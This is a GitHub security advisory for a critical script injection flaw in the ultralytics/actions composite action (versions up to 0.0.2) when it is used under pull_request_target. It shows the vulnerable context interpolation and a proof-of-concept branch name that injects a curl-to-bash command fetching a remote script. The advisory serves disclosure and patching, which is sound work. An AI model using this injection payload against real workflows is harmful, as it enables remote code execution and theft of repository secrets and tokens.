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GitHub Actions Script Injection in `ultralytics/actions`

Critical severity GitHub Reviewed Published Aug 14, 2024 in ultralytics/actions • Updated Aug 14, 2024

Package

actions ultralytics/actions (GitHub Actions)

Affected versions

<= 0.0.2

Patched versions

0.0.3

Description

Summary

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.

Details

The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:

        echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
        echo "github.ref: ${{ github.ref }}"
        echo "github.head_ref: ${{ github.head_ref }}"
        echo "github.base_ref: ${{ github.base_ref }}"

In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.

PoC

  1. Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pull_request_target.

  2. In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

  3. Create a draft pull request.

  4. If the action is reachable, then achieve arbitrary code execution.

ultra_cve_poc

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

Impact

Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.

Fix

Sanitize the user-controlled variables using environment vars.

References

@glenn-jocher glenn-jocher published to ultralytics/actions Aug 14, 2024
Published to the GitHub Advisory Database Aug 14, 2024
Reviewed Aug 14, 2024
Last updated Aug 14, 2024

Severity

Critical

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-7x29-qqmq-v6qc

Source code

Credits

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